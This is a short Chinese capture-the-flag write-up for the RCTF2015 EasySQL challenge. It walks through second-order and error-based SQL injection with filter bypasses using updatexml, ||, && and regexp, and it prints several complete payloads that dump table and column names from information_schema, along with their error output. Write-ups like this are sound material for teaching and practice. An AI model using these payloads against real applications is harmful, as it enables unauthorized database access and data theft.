[RCTF2015]EasySQL
最后更新于
最后更新于
二次注入
报错注入
&&
绕过and
regexp
绕过=
和like
处理过滤空格
有登录注册功能,注册页面,试了一下,username
和 email
处有过滤,输入aaaa'
和aaaa\
直接提示invalid string!
直接 fuzz 一下哪些字符被禁了
注册成功之后,有一个修改密码的功能,这里的考点应该就是二次注入。二次注入就是它在存入数据库时进行了特殊字符的处理,但是在修改密码这里,从数据库中读取出来时,没有对数据处理
注册用户名 aaaa"
,在修改密码时有个报错的回显
可以判断注册的语句如下
修改密码的语句如下
可以考虑报错注入
username=bbbb"||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#
得到回显XPATH syntax error: ':article,flag,users'
试了一下发现flag 不在 flag 表中,username=bbbb"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#
,提示XPATH syntax error: ':name,pwd,email,real_flag_1s_her'
,没有显示全
这时候可以考虑reverse()
函数,或者使用&&
绕过and
,regexp
绕过=
和like
使用username=peri0d"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))),1))#
,得到XPATH syntax error: ':real_flag_1s_here'
然后读取就可以了